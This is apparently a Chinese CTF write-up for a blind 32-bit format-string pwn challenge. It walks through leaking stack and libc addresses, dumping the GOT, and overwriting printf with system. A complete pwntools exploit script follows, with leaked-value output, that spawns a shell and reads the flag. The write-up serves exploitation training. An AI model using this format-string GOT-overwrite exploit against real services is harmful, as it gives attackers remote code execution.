zl程序教程

您现在的位置是:首页 >  其他

当前栏目

[BMZCTF-pwn] 00-pwnpwnpwn

2023-03-20 14:58:03 时间

BUUCTF的题作到0解区,既作不出来也找到不wp,放弃了。今天开始上xctfclub.cn上来玩。

一般题都是从简单开始,也不一定,一上来就是个盲pwn 。

远程连接后,输出欢迎信息,然后输入后会回显。

思路:

  1. 如果是堆啥的怎么也得给点,不给就没办法了,至少有个泄露。这里的回显猜是printf的输出用AAAA-%x-%x...测试,可以得到一些有用信息
    1. 有0804XXXX这个应该是32位no pie
    2. #3 得到个栈地址指向输入串,不清楚怎么用,
    3. #10是输入偏移
    4. #39是libc_start_main_ret 可以得到libc的加载地址。
    5. 没有找到退出循环的地址
  2. 一般32位加载地址0x8047000或0x8048000开始,写代码取程序8000成功,可以看到got表在0x804a000,放到这个位置重开段一般可写。
  3. 取got表查到一些项目的偏移:setbuf,read,printf,puts这里只有printf能用
  4. 将printf改为system再发送/bin/sh

完整exp:

from pwn import *

p = remote('www.bmzclub.cn', 21355) 

p.recvuntil(b' Wealcome to BMZCTF 
')


'''
for i in range(50):
    p.sendline(b'%%%d$x'%i)
    print(i, p.recv())

0 b'%0$x
'
1 b'ffa9ed18
'
2 b'64
'
3 b'8048718
'
4 b'ffa9ed3e
'
5 b'1
'
6 b'ffa9ee34
'
7 b'1
'
8 b'ffa9ed3e
'
9 b'ffa9ee3c
'
10 b'24303125
'
11 b'a78
'
... 这堆全是0
35 b'7633c800
'
36 b'f7f093dc
'
37 b'ffa9eda0
'
38 b'0
'
39 b'f7d71637
'
40 b'f7f09000
'
41 b'f7f09000
'
42 b'0
'
43 b'f7d71637
'
44 b'1
'
45 b'ffa9ee34
'
46 b'ffa9ee3c
'
47 b'0
'
48 b'0
'
49 b'0
'

1 b'ffa9ed18
'    # #1-> #10
3 b'8048718
'     # ebp - 4*7 ->ret
10 b'24303125
'   # 输入的串
39 b'f7d71637
'   #libc_start_main_ret   #1+29*4->main_ret
''' 
context(arch='i386')

p.sendline(b'%1$x')
ebp = int(p.recvline()[:-1], 16)
print('ebp:', hex(ebp))
'''
for i in range(30):
    p.sendline(p32(ebp+i*4)+b'XXXX%10$s----')
    print(p.recv()[8:12])
p.sendline(p32(ebp-4*7)+b'XXXX%10$s----')
print(p.recv()[8:12])
'''
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
libc_start_main_ret = 0x18637

p.sendline(b'%39$x')
libc_base = int(p.recvline()[:-1], 16) - libc_start_main_ret
libc_elf.address = libc_base
print('libc:', hex(libc_base))

start_addr = 0x8048000
stop_addr  = start_addr + 0x3000

#context.log_level='debug'
'''
start_addr = 0x804a004

context.log_level='debug'
p.sendline(b'%13$sAAABBBB'+ p32(start_addr))
t = p.recvline()
for i in range(10):
    v = u32(t[i*4: i*4+4]) - libc_base
    print(hex(v))
0x804a00c setbuf
0x804a010 read
0x804a014 printf
0x804a01c puts
'''

payload = fmtstr_payload(10, {0x804a014: libc_elf.sym['system']})
p.sendline(payload)
p.sendline(b'/bin/shx00')
p.sendline(b'cat flag')
p.interactive()